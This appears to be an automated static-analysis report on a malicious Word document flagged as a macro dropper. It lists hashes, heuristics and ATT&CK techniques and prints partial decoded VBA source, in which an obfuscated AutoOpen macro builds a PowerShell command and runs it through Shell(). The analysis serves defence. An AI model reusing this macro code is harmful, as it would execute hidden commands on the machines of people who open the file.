Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2fcf3fd51a89ab4…

MALICIOUS

Office (OLE)

216.5 KB Created: 2018-06-29 07:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: e5664e5c8090eb1640eafd4957857d75 SHA-1: fe1640e21db4366d829853a5bcef2bda03b91035 SHA-256: d2fcf3fd51a89ab44292e1a97b7e1612422ef39215b6d2678484dae346b6ff81
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external commands. This is further supported by the 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firings. The ClamAV detection name 'Doc.Dropper.Agent-6603989-0' suggests the file's purpose is to drop and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6603989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6603989-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13155 bytes
SHA-256: afb9983610840986943acea25b48b14f9b113534e1e84b28bf3fd8263cfab582
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GmhAHZcsAMTfi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qYIaPXmjUcw"
Function KSmUJHd()
On Error Resume Next
phjAqZ = sOcfiA - ihcQu / (pdYCL + Oct(kBqFi) - 56654 + Log(dmrSCT))
DVQXOP = uzvQsA = 98587 / ZGIMdp + 78129 / ChrW(63354) / ksoasw + ChrW(tNodRT) * 40455 + ChrB(41739 * CInt(DkfaRi) * 2184 - Hex(tIwuTb)) + OonmVb - Int(CDKXi) * (VUFlm - ZFJGKB)
dNmbPjIj = svjkhYAsSjZ + Chr(TrLIYwDShG + vbKeyP + hJROozYJBsM) + "owe" + "rs"
dilBpL = nEdMLm - EYiFD / (jzKPw + Oct(BvmFhj) - 45428 + Log(diMwi))
rTGsZC = huXhqQ = 95458 / LIjpi + 79192 / ChrW(71152) / JuCwW + ChrW(nPZwv) * 23907 + ChrB(42590 * CInt(jcIVC) * 13934 - Hex(XsNmb)) + ilNlJG - Int(zzXEP) * (HIItU - jocEhN)
MdXwdL = tkaPc - vDUuSN / (DGjsV + Oct(QoECv) - 78876 + Log(QXmXTa))
UiCfwi = fbQuwd = 15359 / dYVDw + 18914 / ChrW(99520) / wvfnQ + ChrW(VMmWKk) * 9912 + ChrB(94876 * CInt(TPLVTW) * 22348 - Hex(CPTzKq)) + mjVcEj - Int(vQDFD) * (bTXzj - Cnknjf)
KSmUJHd = oSjct + dNmbPjIj + PtjOW + fdaNpfh + jjiTDln
vuGYF = cSlPGi - KVrIQ / (zXHnap + Oct(RlXHWn) - 14488 + Log(uPTJPf))
hOrsHV = wwTpVS = 25434 / FufbKu + 64772 / ChrW(78454) / fafcXQ + ChrW(bsTlpP) * 82492 + ChrB(70320 * CInt(fSplM) * 50486 - Hex(jhRsr)) + QAzZIM - Int(qKahVO) * (zbuqDv - icrDVF)
End Function
Sub AutoOpen()
On Error Resume Next
DWcIw = ZtDnFE - aNnzY / (nwLpIk + Oct(wGCwv) - 57268 + Log(dNfot))
jqfjZ = QJkjnX = 14824 / nHjjJQ + 82260 / ChrW(90210) / sTWaPF + ChrW(zASzr) * 33694 + ChrB(15153 * CInt(PEAcnY) * 68317 - Hex(zzHIn)) + GOJlM - Int(QCRBEM) * (mEKoWz - TEQOHF)
Application.Run "bqXEkKWaTr", KSmUJHd
XnfIb = iikwHk - PpSAr / (aSWfNA + Oct(okYRH) - 74897 + Log(vXpbL))
cLtAW = RiPGRR = 81068 / RMrhUX + 78502 / ChrW(73439) / rFscz + ChrW(MhwGQw) * 54807 + ChrB(6401 * CInt(TZTdi) * 99070 - Hex(hEwpQV)) + TVSqsB - Int(dGTmCZ) * (LZipJ - OvDLDT)
End Sub
Function bqXEkKWaTr(FOQmwzbQKM)
On Error Resume Next
VfmKE = FjzVS - lrKpwn / (jCwwm + Oct(ABNUw) - 30884 + Log(irUiGW))
Lroaa = EHRYdD = 37499 / toBIR + 14900 / ChrW(39701) / wGSrU + ChrW(Grzrp) * 64257 + ChrB(39283 * CInt(ivFmvz) * 43795 - Hex(vOnPf)) + WhJDp - Int(shIjG) * (BaZlOm - KJGDf)
uWLSHq = MaldE - LVowqM / (pkJOv + Oct(FLNWC) - 72072 + Log(Tkmpj))
fBMCF = EcurU = 25977 / hwJXj + 341 / ChrW(2689) / BsLCF + ChrW(DuXjjZ) * 68139 + ChrB(80138 * CInt(pvqfFX) * 14383 - Hex(zjzwf)) + zuGVAi - Int(BzATB) * (WLlnjr - UbsUw)
FPbdZGrNi = WvdwTsTFL + Shell(ZjzzjkDkC + FOQmwzbQKM + zSviKWVV, 776662310 - 776662310) + JTwQL
iOzlA = GGzsI - vuqGdT / (AcwDPI + Oct(wCzTd) - 33810 + Log(fHBHw))
cdUwZH = zjwjiB = 16724 / qJNwXt + 72439 / ChrW(23545) / EjriPb + ChrW(zPzjaU) * 77101 + ChrB(70078 * CInt(LOYMh) * 83227 - Hex(chdaZ)) + JwqRVs - Int(QFkFQh) * (DYRVV - pLfMzS)
End Function

Function PtjOW()
On Error Resume Next
SDuEXv = AYcWTO = 60879 / jQKvR + 96252 / ChrW(53262) / USAUFc + ChrW(vPRKdu) * 1186 + ChrB(8399 * CInt(SSvAWv) * 71567 - Hex(ououu)) + LjrQa - Int(XbjYnj) * (BDBWi - jczCb)
ZhkfL = rBJFam - aSErlX / (pojMn + Oct(GiLdM) - 63514 + Log(zADmv))
YiYYnjK = "hell " + Chr(34) + "$" + Chr(40) + " sET" + "  'ofs'" + " '' " + Chr(41) + Chr(34) + " " + Chr(43) + " " + "[sTRI" + "NG]" + Chr(40) + " '28L8"
jvfww = PrItfl = 26573 / OblwXs + 75856 / ChrW(65767) / qjttW + ChrW(aORvQn) * 32776 + ChrB(20279 * CInt(njXjwp) * 61110 - Hex(wBBYPF)) + DhBno - Int(CjsMh) * (OpzrzQ - KoUHkS)
ovsVG = JCrim - VbkAfT / (LRBAK + Oct(IWuaj) - 51097 + Log(UdbHq))
zEccTZfZJa = "6V123,114" + "n5_86L" + "93@79" + "s21L8" + "7@90" + "n82n93<91" + "G76L2" + "4L118t93"
GXVLw = FUuRZ = 76768 / nUHsnu + 65542 / ChrW(35165) / oOcIIU + ChrW(rAdJJ) * 26013 + ChrB(86263 * CInt(GDmEjN) * 9347 - Hex(munzM)) + oNIDHi - Int(jpGkL) * (Qwiia - RmjIdi)
jtpNVX = GMQAFF - jWNfT / (KoYIQ + Oct(WuwEF) - 60137 + Log(WwNuc))
ptaOjvH = ",76_2" + "2_111L9" + "3L90V1" + "23n84_81" + "_93_86" + "t76V3" + "
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.